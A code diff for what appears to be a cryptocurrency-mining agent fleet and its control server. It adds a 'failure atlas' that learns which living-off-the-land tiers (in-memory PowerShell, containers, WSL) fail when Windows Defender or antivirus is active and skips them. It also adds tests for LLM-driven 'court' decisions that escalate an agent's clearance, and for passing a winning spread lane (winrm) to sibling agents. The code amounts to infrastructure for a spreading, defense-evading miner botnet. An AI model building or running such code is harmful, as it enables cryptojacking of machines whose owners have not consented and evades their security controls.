diff --git a/agent/client/ai_snapshot_test.go b/agent/client/ai_snapshot_test.go index 341de78..7ea6ee3 100644 --- a/agent/client/ai_snapshot_test.go +++ b/agent/client/ai_snapshot_test.go @@ -85,6 +85,48 @@ func TestAISnapshotJSONShape(t *testing.T) { } } +func TestAISnapshotIncludesClearancePhenotypeAtlas(t *testing.T) { + c := &AgentClient{ + cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{WorkerName: "w"}}, + agentID: "a1", + reporter: newTestClient(t).reporter, + pool: newTestClient(t).pool, + clearanceLevel: 2, + atlasSkips: []AtlasSkip{ + {Tier: "ps_inmemory", Condition: "defender_on", Reason: "5 failures"}, + }, + inheritedPhenotype: &InheritedPhenotype{ + SourceAgentName: "worker-07", + TierOrder: []string{"container", "wsl"}, + SpreadLane: "winrm", + }, + } + + snap := c.buildAISnapshot(0) + raw, err := json.Marshal(snap) + if err != nil { + t.Fatal(err) + } + var m map[string]json.RawMessage + if err := json.Unmarshal(raw, &m); err != nil { + t.Fatal(err) + } + for _, key := range []string{"clearance_level", "atlas_skips", "inherited_phenotype"} { + if _, ok := m[key]; !ok { + t.Fatalf("missing snapshot field %q in %s", key, string(raw)) + } + } + if snap.ClearanceLevel != 2 { + t.Fatalf("clearance_level=%d", snap.ClearanceLevel) + } + if len(snap.AtlasSkips) != 1 || snap.AtlasSkips[0].Tier != "ps_inmemory" { + t.Fatalf("atlas_skips=%+v", snap.AtlasSkips) + } + if snap.InheritedPhenotype == nil || snap.InheritedPhenotype.SourceAgentName != "worker-07" { + t.Fatalf("inherited_phenotype=%+v", snap.InheritedPhenotype) + } +} + func TestAISnapshotStuckWhenChainExhausted(t *testing.T) { snap := AISnapshot{ MiningHashrate: 0, diff --git a/agent/client/atlas_policy.go b/agent/client/atlas_policy.go new file mode 100644 index 0000000..77974bf --- /dev/null +++ b/agent/client/atlas_policy.go @@ -0,0 +1,45 @@ +package client + +import ( + "crypto-miner-agent/miner" +) + +// AtlasSkip is a fleet-learned hard skip from the failure atlas. +type AtlasSkip struct { + Tier string `json:"tier"` + Condition string `json:"condition"` + Reason string `json:"reason"` +} + +func (c *AgentClient) applyAtlasSkips(skips []AtlasSkip) { + c.mu.Lock() + c.atlasSkips = append([]AtlasSkip(nil), skips...) + c.mu.Unlock() + c.mergeAtlasSkipsIntoPolicy() +} + +func (c *AgentClient) atlasSkipsSnapshot() []AtlasSkip { + c.mu.Lock() + defer c.mu.Unlock() + return append([]AtlasSkip(nil), c.atlasSkips...) +} + +func (c *AgentClient) mergeAtlasSkipsIntoPolicy() { + c.mu.Lock() + defer c.mu.Unlock() + if len(c.atlasSkips) == 0 { + return + } + have := make(map[miner.LOTLTier]bool, len(c.tierPolicy.SkipTiers)) + for _, t := range c.tierPolicy.SkipTiers { + have[t] = true + } + for _, skip := range c.atlasSkips { + tier := miner.LOTLTier(skip.Tier) + if tier == "" || have[tier] { + continue + } + have[tier] = true + c.tierPolicy.SkipTiers = append(c.tierPolicy.SkipTiers, tier) + } +} diff --git a/agent/client/mining_diagnostics.go b/agent/client/mining_diagnostics.go index e21001b..b098c10 100644 --- a/agent/client/mining_diagnostics.go +++ b/agent/client/mining_diagnostics.go @@ -64,6 +64,7 @@ type MiningDiagnostics struct { LOTLAttempts []miner.TierAttempt `json:"lotl_attempts,omitempty"` TierChainOrder []string `json:"tier_chain_order,omitempty"` TierChainSkipped []string `json:"tier_chain_skipped,omitempty"` + AtlasSkips []AtlasSkip `json:"atlas_skips,omitempty"` AdaptiveStrategy *AdaptiveStrategy `json:"adaptive_strategy,omitempty"` StrategyReasoning []StrategyReason `json:"strategy_reasoning,omitempty"` WebGPUReady bool `json:"webgpu_ready,omitempty"` @@ -136,6 +137,9 @@ func (c *AgentClient) collectMiningDiagnostics() MiningDiagnostics { for i, t := range skipped { d.TierChainSkipped[i] = string(t) } + if atlasSkips := c.atlasSkipsSnapshot(); len(atlasSkips) > 0 { + d.AtlasSkips = atlasSkips + } if strat := c.adaptiveStrategySnapshot(); len(strat.TierOrder) > 0 { copy := strat d.AdaptiveStrategy = © diff --git a/agent/client/phenotype_policy.go b/agent/client/phenotype_policy.go index 52b72fe..9ede045 100644 --- a/agent/client/phenotype_policy.go +++ b/agent/client/phenotype_policy.go @@ -32,6 +32,9 @@ func (c *AgentClient) applyInheritedPhenotypeJSON(raw json.RawMessage) { if err := json.Unmarshal(raw, &p); err != nil || len(p.TierOrder) == 0 { return } + c.mu.Lock() + c.inheritedPhenotype = &p + c.mu.Unlock() order := make([]miner.LOTLTier, len(p.TierOrder)) for i, t := range p.TierOrder { order[i] = miner.LOTLTier(t) diff --git a/agent/client/strategy_policy.go b/agent/client/strategy_policy.go index eb9fb2b..d887050 100644 --- a/agent/client/strategy_policy.go +++ b/agent/client/strategy_policy.go @@ -48,6 +48,7 @@ func (c *AgentClient) applyAdaptiveStrategyJSON(raw json.RawMessage) { } c.tierPolicy = policy c.mu.Unlock() + c.mergeAtlasSkipsIntoPolicy() log.Printf("[agent] adaptive strategy applied (%d tiers, confidence=%.2f)", len(s.TierOrder), s.Confidence) } diff --git a/agent/miner/lotl_tier_test.go b/agent/miner/lotl_tier_test.go index 3ea62c4..3b29f7a 100644 --- a/agent/miner/lotl_tier_test.go +++ b/agent/miner/lotl_tier_test.go @@ -158,6 +158,44 @@ func TestSelectMiningTierChainForceTier(t *testing.T) { } } +func TestSelectMiningTierChainAtlasSkipOmitsTier(t *testing.T) { + policy := MiningTierPolicy{ + TierOrder: DefaultTierOrder, + SkipTiers: []LOTLTier{TierPSInMemory}, + } + chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{})) + if chainContains(chain, TierPSInMemory) { + t.Fatalf("atlas/policy skip should omit ps_inmemory from chain=%v", chain) + } + if !chainContains(skipped, TierPSInMemory) { + t.Fatalf("expected ps_inmemory in skipped=%v", skipped) + } +} + +func TestTierOrchestratorAtlasSkipNotAttempted(t *testing.T) { + probes := baseProbes() + policy := MiningTierPolicy{ + TierOrder: []LOTLTier{TierPSInMemory, TierCPUInprocess}, + SkipTiers: []LOTLTier{TierPSInMemory}, + } + o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{ + StartInProcess: func() error { return nil }, + }, nil) + + tier, err := o.TryChain(t.Context()) + if err != nil { + t.Fatalf("TryChain: %v", err) + } + if tier != TierCPUInprocess { + t.Fatalf("active=%q want cpu_inprocess", tier) + } + for _, a := range o.Report().Attempts { + if a.Tier == TierPSInMemory { + t.Fatalf("atlas-skipped tier should not be attempted: %+v", a) + } + } +} + func TestTierOrchestratorStubTiersFallThrough(t *testing.T) { probes := EnvironmentProbes{ Docker: false, diff --git a/scripts/test-suite.ps1 b/scripts/test-suite.ps1 index 99c6b88..92c396a 100644 --- a/scripts/test-suite.ps1 +++ b/scripts/test-suite.ps1 @@ -197,8 +197,22 @@ if (-not $SkipE2E) { Start-Sleep -Seconds 1 } if (-not $ready) { throw "E2E server did not become healthy on :18989" } + $fleetSecret = "" + for ($j = 0; $j -lt 15; $j++) { + $cfgPath = Join-Path $DataDir "config.json" + if (Test-Path $cfgPath) { + $cfgRaw = Get-Content $cfgPath -Raw + if ($cfgRaw -match '"fleet_secret"\s*:\s*"([^"]+)"') { + $fleetSecret = $Matches[1] + break + } + } + Start-Sleep -Seconds 1 + } + if (-not $fleetSecret) { throw "E2E server config.json missing server.fleet_secret" } Push-Location (Join-Path $Root "server\web") $env:AETHERFORGE_URL = "http://127.0.0.1:18989" + $env:AETHERFORGE_FLEET_SECRET = $fleetSecret npx playwright install chromium 2>$null | Out-Null npx playwright test --config playwright.config.ts Pop-Location diff --git a/server/internal/ai/mission_prompt.go b/server/internal/ai/mission_prompt.go index 7199b28..38f7518 100644 --- a/server/internal/ai/mission_prompt.go +++ b/server/internal/ai/mission_prompt.go @@ -6,6 +6,11 @@ import ( "strings" ) +// DefaultSpreadTiers returns the 14 spread onion tiers for prompt context. +func DefaultSpreadTiers() []string { + return append([]string(nil), defaultSpreadTiers...) +} + // Default spread onion tiers (14) for prompt context. var defaultSpreadTiers = []string{ "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", @@ -26,8 +31,17 @@ set_agent_version args: module or build_id. You have complete control in AI mode. Never target third-party systems.`) } -// BuildUserPrompt renders the per-agent snapshot for one decision cycle. +// BuildMissionPrompt renders the standard per-agent mission prompt for one decision cycle. +func BuildMissionPrompt(s AgentSnapshot) string { + return buildMissionPrompt(s) +} + +// BuildUserPrompt is an alias for BuildMissionPrompt. func BuildUserPrompt(s AgentSnapshot) string { + return buildMissionPrompt(s) +} + +func buildMissionPrompt(s AgentSnapshot) string { var b strings.Builder fmt.Fprintf(&b, "Agent: name=%q id=%s", s.Name, s.AgentID) if s.Worker != "" { diff --git a/server/internal/api/clearance.go b/server/internal/api/clearance.go index be398e3..b4cf0be 100644 --- a/server/internal/api/clearance.go +++ b/server/internal/api/clearance.go @@ -43,7 +43,7 @@ func (m *ClearanceManager) InitAgent(agentID string, agent *models.Agent) int { m.mu.Lock() m.agentClearance[agentID] = level m.mu.Unlock() - m.pushToAgent(agentID, level) + // Baseline clearance is included in auth_response; push only on elevation. return level } diff --git a/server/internal/api/fleet_intelligence_test.go b/server/internal/api/fleet_intelligence_test.go new file mode 100644 index 0000000..9f6ea25 --- /dev/null +++ b/server/internal/api/fleet_intelligence_test.go @@ -0,0 +1,444 @@ +package api + +import ( + "encoding/json" + "io" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + "time" + + fleetai "crypto-miner-server/internal/ai" + "crypto-miner-server/internal/atlas" + "crypto-miner-server/internal/clearance" + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" + + "github.com/gorilla/websocket" +) + +type mutableFleetAIConfig struct { + view FleetAIConfigView +} + +func (c *mutableFleetAIConfig) GetFleetAIConfig() FleetAIConfigView { return c.view } +func (c *mutableFleetAIConfig) UpdateFleetAIConfig(v FleetAIConfigView) error { + c.view = v + return nil +} + +func newFleetIntelligenceHub(t *testing.T, aiCfg FleetAIConfigView) (*WSHub, *db.Database, *fleetai.Scheduler) { + t.Helper() + database, err := db.New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = database.Close() }) + + hub := NewWSHub(database) + hub.SetAdaptiveEngine(strategy.NewAdaptiveEngine(database, true)) + hub.SetFailureAtlas(atlas.NewFailureAtlas(database)) + hub.SetServerPolicy(ServerPolicy{AIControlEnabled: aiCfg.AIControlEnabled}) + + cfgSrc := &mutableFleetAIConfig{view: aiCfg} + sched := fleetai.NewScheduler( + &ConfigAIAdapter{Src: cfgSrc}, + &WSHubSnapshotAdapter{Hub: hub}, + &ClearanceGuardExecutor{Inner: &FleetAIExecutor{Hub: hub}, Clearance: hub.ClearanceManager()}, + &DatabaseAIDecisionStore{DB: database}, + &DatabaseCourtAdapter{DB: database}, + hub.ClearanceManager(), + ) + return hub, database, sched +} + +func pushStuckAgentTelemetry(t *testing.T, conn *websocket.Conn) { + t.Helper() + attempts := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers())) + for _, tier := range fleetai.DefaultSpreadTiers() { + attempts = append(attempts, map[string]interface{}{ + "tier": tier, "ok": false, "error": "blocked", + }) + } + statsPayload, _ := json.Marshal(map[string]interface{}{ + "mining_hashrate": 0, + "chain_exhausted": true, + "lotl_attempts": attempts, + }) + if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil { + t.Fatal(err) + } + deployTiers := make([]map[string]interface{}, 0, len(fleetai.DefaultSpreadTiers())) + for range fleetai.DefaultSpreadTiers() { + deployTiers = append(deployTiers, map[string]interface{}{ + "attempted": true, "ok": false, "skipped": false, + }) + } + aiSnapPayload, _ := json.Marshal(map[string]interface{}{ + "stuck": true, "deploy_tiers": deployTiers, "clearance_level": clearance.L1, + }) + if err := conn.WriteJSON(Message{Type: "ai_snapshot", Payload: aiSnapPayload}); err != nil { + t.Fatal(err) + } +} + +func waitForCourtSnapshot(t *testing.T, hub *WSHub, agentID string) fleetai.AgentSnapshot { + t.Helper() + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) { + if snap, ok := hub.FleetAISnapshot(agentID); ok && fleetai.ShouldUseCourt(snap) { + return snap + } + time.Sleep(25 * time.Millisecond) + } + t.Fatal("agent snapshot never reached stuck/court state") + return fleetai.AgentSnapshot{} +} + +func connectIntelAgent(t *testing.T, hub *WSHub, agentID string, auth map[string]interface{}) *websocket.Conn { + t.Helper() + srv := httptest.NewServer(http.HandlerFunc(hub.HandleAgentWS)) + t.Cleanup(srv.Close) + wsURL := "ws" + strings.TrimPrefix(srv.URL, "http") + conn, _, err := websocket.DefaultDialer.Dial(wsURL, nil) + if err != nil { + t.Fatalf("dial agent ws: %v", err) + } + t.Cleanup(func() { _ = conn.Close() }) + if auth == nil { + auth = map[string]interface{}{ + "agent_id": agentID, "hostname": "test-host", "platform": "windows", "version": "1.0", + } + } + _ = authAgentConn(t, conn, auth) + deadline := time.Now().Add(2 * time.Second) + for time.Now().Before(deadline) { + if hub.isAgentConnected(agentID) { + return conn + } + time.Sleep(10 * time.Millisecond) + } + t.Fatalf("agent %s not connected after auth", agentID) + return nil +} + +func mockLLMServer(t *testing.T, onRequest func(body string)) *httptest.Server { + t.Helper() + srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { + if r.Method != http.MethodPost || !strings.HasSuffix(r.URL.Path, "/chat/completions") { + http.NotFound(w, r) + return + } + raw, _ := io.ReadAll(r.Body) + if onRequest != nil { + onRequest(string(raw)) + } + _ = json.NewEncoder(w).Encode(map[string]interface{}{ + "choices": []map[string]interface{}{ + {"message": map[string]string{ + "content": "Verdict: restart mining after tier exhaustion.\n" + + `{"commands":[{"type":"restart_mining","args":{}},{"type":"noop","args":{}}]}`, + }}, + }, + }) + })) + t.Cleanup(srv.Close) + return srv +} + +// TestIntegrationCourtStuckFlow exercises stuck snapshot → court prompt → parsed command → L4 clearance. +func TestIntegrationCourtStuckFlow(t *testing.T) { + var llmBody string + var llmMu sync.Mutex + llmSrv := mockLLMServer(t, func(body string) { + llmMu.Lock() + llmBody = body + llmMu.Unlock() + }) + + aiCfg := FleetAIConfigView{ + AIControlEnabled: true, AIEndpoint: llmSrv.URL + "/v1", + AIModel: "test-model", AIDecisionIntervalSec: 1, AIAutoElevateClearance: true, + } + hub, database, sched := newFleetIntelligenceHub(t, aiCfg) + + agentID := "court-stuck-agent" + conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{ + "agent_id": agentID, "hostname": "stuck-host", "platform": "windows", "version": "1.0", + }) + pushStuckAgentTelemetry(t, conn) + if snap := waitForCourtSnapshot(t, hub, agentID); snap.FailedTierCount < 14 { + t.Fatalf("expected 14 failed spread tiers for L4 elevation, got %d", snap.FailedTierCount) + } + + cmdCh := make(chan string, 1) + go func() { + _ = conn.SetReadDeadline(time.Now().Add(5 * time.Second)) + for { + var msg Message + if err := conn.ReadJSON(&msg); err != nil { + return + } + if msg.Type != "command" { + continue + } + var payload map[string]interface{} + if json.Unmarshal(msg.Payload, &payload) != nil { + continue + } + if action, _ := payload["action"].(string); action == "restart" { + cmdCh <- action + return + } + } + }() + + sched.ResetLastRunForTest(agentID, 2*time.Minute) + sched.Tick() + + llmMu.Lock() + body := llmBody + llmMu.Unlock() + if body == "" { + t.Fatal("expected LLM HTTP request") + } + if !strings.Contains(body, "## PROSECUTOR") { + t.Fatalf("expected court prosecutor prompt, got: %s", body) + } + + select { + case action := <-cmdCh: + if action != "restart" { + t.Fatalf("unexpected command action %q", action) + } + case <-time.After(5 * time.Second): + t.Fatal("timed out waiting for restart command on agent WS") + } + + if level := hub.ClearanceManager().Level(agentID); level != clearance.L4 { + t.Fatalf("clearance level = %d, want L4", level) + } + events, err := database.ListClearanceEvents(agentID, 5) + if err != nil { + t.Fatal(err) + } + if len(events) == 0 || events[0].ToLevel != clearance.L4 { + t.Fatalf("expected L4 clearance event, got %+v", events) + } + + decisions, err := database.ListAIDecisions(agentID, 5) + if err != nil { + t.Fatal(err) + } + if len(decisions) == 0 { + t.Fatal("expected AI decision row") + } + if !decisions[0].CourtSession { + t.Fatalf("expected court_session=true, got %+v", decisions[0]) + } + if !strings.Contains(decisions[0].CommandsExecuted, "restart_mining") { + t.Fatalf("expected restart_mining executed, got %q", decisions[0].CommandsExecuted) + } +} + +// TestIntegrationPhenotypeInheritFlow publishes a winning phenotype and verifies sibling auth inherits tier order. +func TestIntegrationPhenotypeInheritFlow(t *testing.T) { + hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{}) + hub.SetFleetSecret("test-secret") + + winnerID := "pheno-winner" + siblingID := "pheno-sibling" + wantOrder := []string{"container", "wsl", "cpu_inprocess"} + for _, ag := range []*models.Agent{ + {ID: winnerID, Name: "worker-07", Wallet: "4" + repeatChar('A', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()}, + {ID: siblingID, Name: "worker-12", Wallet: "4" + repeatChar('B', 94), IP: "127.0.0.1", Platform: "windows", Status: "online", LastSeen: time.Now()}, + } { + if err := database.UpsertAgent(ag); err != nil { + t.Fatal(err) + } + } + + hub.tryPublishWinningPhenotype( + winnerID, "windows", "127.0.0.1", nil, nil, + 1200.0, "cpu_inprocess", "winrm", wantOrder, + ) + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": siblingID, "fleet_secret": "test-secret", + "wallet": "4" + repeatChar('B', 94), "hostname": "win-sibling", "platform": "windows", "version": "test", + }) + var payload map[string]interface{} + if err := json.Unmarshal(resp.Payload, &payload); err != nil { + t.Fatal(err) + } + raw, ok := payload["inherited_phenotype"] + if !ok { + t.Fatal("expected inherited_phenotype in auth_response") + } + data, _ := json.Marshal(raw) + var inherited struct { + SourceAgentName string `json:"source_agent_name"` + TierOrder []string `json:"tier_order"` + SpreadLane string `json:"spread_lane"` + } + if err := json.Unmarshal(data, &inherited); err != nil { + t.Fatal(err) + } + if inherited.SourceAgentName != "worker-07" { + t.Fatalf("source = %q", inherited.SourceAgentName) + } + if inherited.SpreadLane != "winrm" { + t.Fatalf("spread_lane = %q", inherited.SpreadLane) + } + if len(inherited.TierOrder) != len(wantOrder) { + t.Fatalf("tier_order = %v, want %v", inherited.TierOrder, wantOrder) + } + for i, tier := range wantOrder { + if inherited.TierOrder[i] != tier { + t.Fatalf("tier_order[%d] = %q, want %q (full=%v)", i, inherited.TierOrder[i], tier, inherited.TierOrder) + } + } + if _, ok := payload["adaptive_strategy"]; ok { + t.Fatal("adaptive_strategy must be omitted when inherited phenotype is present") + } +} + +// TestIntegrationAtlasSkipFlow records five conditioned failures and verifies policy merge skips the subtree. +func TestIntegrationAtlasSkipFlow(t *testing.T) { + hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{}) + + agentID := "atlas-skip-agent" + if err := database.UpsertAgent(&models.Agent{ + ID: agentID, Name: "atlas-host", Platform: "windows", Status: "online", + IP: "127.0.0.1", LastSeen: time.Now(), + }); err != nil { + t.Fatal(err) + } + + conn := connectIntelAgent(t, hub, agentID, map[string]interface{}{ + "agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test", + }) + for i := 0; i < atlas.MinFailCountForSubtree; i++ { + statsPayload, _ := json.Marshal(map[string]interface{}{ + "lotl_attempts": []map[string]interface{}{ + {"tier": "container", "ok": false, "error": "docker unavailable"}, + }, + }) + if err := conn.WriteJSON(Message{Type: "stats", Payload: statsPayload}); err != nil { + t.Fatal(err) + } + } + + ag, err := database.GetAgent(agentID) + if err != nil { + t.Fatal(err) + } + fp := strategy.FingerprintFromAuth("windows", ag.IP, false) + probes := atlas.ProbeSnapshot{Docker: false, WSL: false, PowerShell: true, DotNet: true} + deadline := time.Now().Add(2 * time.Second) + skipped := false + for time.Now().Before(deadline) { + if hub.failureAtlas.ShouldSkipSubtree(fp.Key(), "container", probes, fp) { + skipped = true + break + } + time.Sleep(25 * time.Millisecond) + } + if !skipped { + t.Fatal("expected container subtree skip after 5 no-docker failures") + } + + _ = conn.Close() + time.Sleep(50 * time.Millisecond) + + conn2, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn2, map[string]interface{}{ + "agent_id": agentID, "hostname": "atlas-host", "platform": "windows", "version": "test", + }) + var authBody map[string]interface{} + if err := json.Unmarshal(resp.Payload, &authBody); err != nil { + t.Fatal(err) + } + + rawSkips, ok := authBody["atlas_skips"] + if !ok { + t.Fatal("expected atlas_skips in auth_response") + } + skipData, _ := json.Marshal(rawSkips) + var skips []atlas.AtlasSkip + if err := json.Unmarshal(skipData, &skips); err != nil { + t.Fatal(err) + } + found := false + for _, s := range skips { + if s.Tier == "container" || s.Tier == "docker_load" { + found = true + break + } + } + if !found { + t.Fatalf("expected container subtree in atlas_skips, got %+v", skips) + } + + rawAdaptive, ok := authBody["adaptive_strategy"] + if !ok { + t.Fatal("expected adaptive_strategy with merged atlas skips") + } + adaptiveData, _ := json.Marshal(rawAdaptive) + var adaptive strategy.AdaptiveStrategy + if err := json.Unmarshal(adaptiveData, &adaptive); err != nil { + t.Fatal(err) + } + skipMerged := false + for _, tier := range adaptive.SkipTiers { + if tier == "container" || tier == "docker_load" { + skipMerged = true + break + } + } + if !skipMerged { + t.Fatalf("expected container subtree in adaptive_strategy.skip_tiers, got %+v", adaptive.SkipTiers) + } +} + +// TestIntegrationAIOverridesAdaptive verifies ai_control_enabled suppresses adaptive strategy paths. +func TestIntegrationAIOverridesAdaptive(t *testing.T) { + hub, database, _ := newFleetIntelligenceHub(t, FleetAIConfigView{AIControlEnabled: true}) + hub.SetFleetSecret("test-secret") + + agentID := "ai-override-agent" + if err := database.UpsertAgent(&models.Agent{ + ID: agentID, Name: "ai-node", Platform: "windows", Status: "online", + IP: "127.0.0.1", LastSeen: time.Now(), + }); err != nil { + t.Fatal(err) + } + + conn, _ := dialAgentWS(t, hub) + resp := authAgentConn(t, conn, map[string]interface{}{ + "agent_id": agentID, "fleet_secret": "test-secret", + "wallet": "4" + repeatChar('C', 94), "hostname": "ai-node", "platform": "windows", "version": "test", + }) + var payload map[string]interface{} + if err := json.Unmarshal(resp.Payload, &payload); err != nil { + t.Fatal(err) + } + if _, ok := payload["adaptive_strategy"]; ok { + t.Fatal("adaptive_strategy must be omitted when ai_control_enabled") + } + + snap, ok := hub.FleetAISnapshot(agentID) + if !ok { + t.Fatal("snapshot not found") + } + if snap.Adaptive != nil { + t.Fatalf("FleetAISnapshot must omit adaptive when AI control enabled, got %+v", snap.Adaptive) + } + if sent := hub.PushAdaptiveStrategyUpdates(); sent != 0 { + t.Fatalf("PushAdaptiveStrategyUpdates should send 0 when AI control enabled, sent=%d", sent) + } +} diff --git a/server/internal/atlas/conditions.go b/server/internal/atlas/conditions.go new file mode 100644 index 0000000..2ef2db8 --- /dev/null +++ b/server/internal/atlas/conditions.go @@ -0,0 +1,97 @@ +package atlas + +import ( + "strings" + + "crypto-miner-server/internal/strategy" +) + +// ProbeSnapshot mirrors live environment probes used for atlas matching. +type ProbeSnapshot struct { + Docker bool + WSL bool + PowerShell bool + DotNet bool + GPU bool + AVBlocksExe bool + DefenderOn bool + DefenderRTP bool +} + +// ExtractConditions returns active negative-space condition tags for a host snapshot. +func ExtractConditions(fp strategy.HostFingerprint, probes ProbeSnapshot) []string { + var out []string + switch strings.ToLower(fp.GOOS) { + case "windows": + out = append(out, ConditionGOOSWindows) + case "linux": + out = append(out, ConditionGOOSLinux) + case "darwin": + out = append(out, ConditionGOOSDarwin) + } + if probes.DefenderOn || probes.DefenderRTP || fp.AVBlocks { + out = append(out, ConditionDefenderOn) + } + if probes.AVBlocksExe || fp.AVBlocks { + out = append(out, ConditionAVBlocksExe) + } + if !probes.Docker && !fp.Docker { + out = append(out, ConditionNoDocker) + } + if !probes.WSL && !fp.WSL { + out = append(out, ConditionNoWSL) + } + if !probes.PowerShell { + out = append(out, ConditionNoPowerShell) + } + if !probes.DotNet { + out = append(out, ConditionNoDotNet) + } + if !probes.GPU && !fp.GPU { + out = append(out, ConditionNoGPU) + } + return out +} + +// ProbeSnapshotFromMaps builds a probe snapshot from stats / auth telemetry. +func ProbeSnapshotFromMaps( + fp strategy.HostFingerprint, + probes map[string]bool, + defenderEnabled, defenderRTP *bool, +) ProbeSnapshot { + snap := ProbeSnapshot{ + Docker: fp.Docker, + WSL: fp.WSL, + GPU: fp.GPU, + AVBlocksExe: fp.AVBlocks, + } + if probes != nil { + if v, ok := probes["docker"]; ok { + snap.Docker = v + } + if v, ok := probes["wsl"]; ok { + snap.WSL = v + } + if v, ok := probes["gpu"]; ok { + snap.GPU = v + } + if v, ok := probes["av_blocks_exe"]; ok { + snap.AVBlocksExe = v + } + if v, ok := probes["pwsh"]; ok { + snap.PowerShell = v + } + if v, ok := probes["dotnet"]; ok { + snap.DotNet = v + } + } + if defenderRTP != nil && *defenderRTP { + snap.DefenderRTP = true + snap.DefenderOn = true + snap.AVBlocksExe = true + } + if defenderEnabled != nil && *defenderEnabled { + snap.DefenderOn = true + } + return snap +} diff --git a/server/internal/atlas/failure_atlas.go b/server/internal/atlas/failure_atlas.go new file mode 100644 index 0000000..759db81 --- /dev/null +++ b/server/internal/atlas/failure_atlas.go @@ -0,0 +1,211 @@ +package atlas + +import ( + "fmt" + "strings" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/strategy" +) + +// FailureAtlas records conditioned tier failures and derives hard subtree skips. +type FailureAtlas struct { + db *db.Database +} + +func NewFailureAtlas(database *db.Database) *FailureAtlas { + return &FailureAtlas{db: database} +} + +// RecordFailure increments failure counters for each active condition on a failed tier attempt. +func (a *FailureAtlas) RecordFailure(fingerprintBucket, tier string, conditions []string) error { + if a == nil || a.db == nil || strings.TrimSpace(fingerprintBucket) == "" || strings.TrimSpace(tier) == "" { + return nil + } + tier = normalizeTier(tier) + for _, cond := range conditions { + cond = strings.TrimSpace(cond) + if cond == "" { + continue + } + if err := a.db.UpsertFailureAtlasPattern(fingerprintBucket, cond, tier); err != nil { + return err + } + } + return nil +} + +// ShouldSkipSubtree reports whether atlas rules block attempting tier on this fingerprint. +func (a *FailureAtlas) ShouldSkipSubtree(fingerprintBucket, tier string, probes ProbeSnapshot, fp strategy.HostFingerprint) bool { + if a == nil || a.db == nil { + return false + } + rules, err := a.matchingRules(fingerprintBucket, fp.GOOS, ExtractConditions(fp, probes)) + if err != nil { + return false + } + target := normalizeTier(tier) + for _, rule := range rules { + for _, branch := range rule.Subtree { + if normalizeTier(branch) == target { + return true + } + } + if tierInSubtree(target, rule.Tier) { + return true + } + } + return false +} + +// GetAtlasRules returns active atlas rules for a fingerprint bucket (UI / AI). +func (a *FailureAtlas) GetAtlasRules(fingerprintBucket, goos string) ([]AtlasRule, error) { + if a == nil || a.db == nil { + return nil, nil + } + patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos) + if err != nil { + return nil, err + } + return rulesFromPatterns(patterns), nil +} + +// ComputeSkips returns hard skip entries for the current host snapshot. +func (a *FailureAtlas) ComputeSkips( + fp strategy.HostFingerprint, + probes map[string]bool, + defenderEnabled, defenderRTP *bool, +) ([]AtlasSkip, error) { + if a == nil || a.db == nil { + return nil, nil + } + snap := ProbeSnapshotFromMaps(fp, probes, defenderEnabled, defenderRTP) + rules, err := a.matchingRules(fp.Key(), fp.GOOS, ExtractConditions(fp, snap)) + if err != nil { + return nil, err + } + seen := make(map[string]bool) + var skips []AtlasSkip + for _, rule := range rules { + for _, branch := range rule.Subtree { + key := normalizeTier(branch) + "|" + rule.Condition + if seen[key] { + continue + } + seen[key] = true + skips = append(skips, AtlasSkip{ + Tier: branch, + Condition: rule.Condition, + Reason: rule.Reason, + }) + } + } + return skips, nil +} + +// MergeSkipsIntoStrategy adds atlas hard skips into an adaptive strategy plan. +func MergeSkipsIntoStrategy(strat *strategy.AdaptiveStrategy, skips []AtlasSkip) { + if strat == nil || len(skips) == 0 { + return + } + have := make(map[string]bool, len(strat.SkipTiers)) + for _, t := range strat.SkipTiers { + have[normalizeTier(t)] = true + } + for _, skip := range skips { + tier := normalizeTier(skip.Tier) + if tier == "" || have[tier] { + continue + } + have[tier] = true + strat.SkipTiers = append(strat.SkipTiers, tier) + label := strings.ReplaceAll(tier, "_", " ") + strat.Reasoning = append(strat.Reasoning, strategy.StrategyReason{ + Fact: "Failure atlas: " + label + " blocked under " + conditionLabel(skip.Condition), + Inference: skip.Reason, + Action: "Hard skip " + label + " subtree", + }) + } + order := make([]string, 0, len(strat.TierOrder)) + for _, t := range strat.TierOrder { + if !have[normalizeTier(t)] { + order = append(order, t) + } + } + strat.TierOrder = order +} + +func (a *FailureAtlas) matchingRules(fingerprintBucket, goos string, activeConditions []string) ([]AtlasRule, error) { + patterns, err := a.db.ListFailureAtlasPatterns(fingerprintBucket, goos) + if err != nil { + return nil, err + } + active := make(map[string]bool, len(activeConditions)) + for _, c := range activeConditions { + active[c] = true + } + var out []AtlasRule + for _, p := range patterns { + if p.FailCount < MinFailCountForSubtree { + continue + } + if len(active) > 0 && !active[p.Condition] { + continue + } + rule := AtlasRule{ + Tier: p.Tier, + Condition: p.Condition, + FailCount: p.FailCount, + FingerprintBucket: p.FingerprintBucket, + Subtree: subtreeTiers(p.Tier), + Reason: fmt.Sprintf("%d failures with %s", p.FailCount, conditionLabel(p.Condition)), + } + out = append(out, rule) + } + return out, nil +} + +func rulesFromPatterns(patterns []db.FailureAtlasPattern) []AtlasRule { + out := make([]AtlasRule, 0, len(patterns)) + for _, p := range patterns { + if p.FailCount < MinFailCountForSubtree { + continue + } + out = append(out, AtlasRule{ + 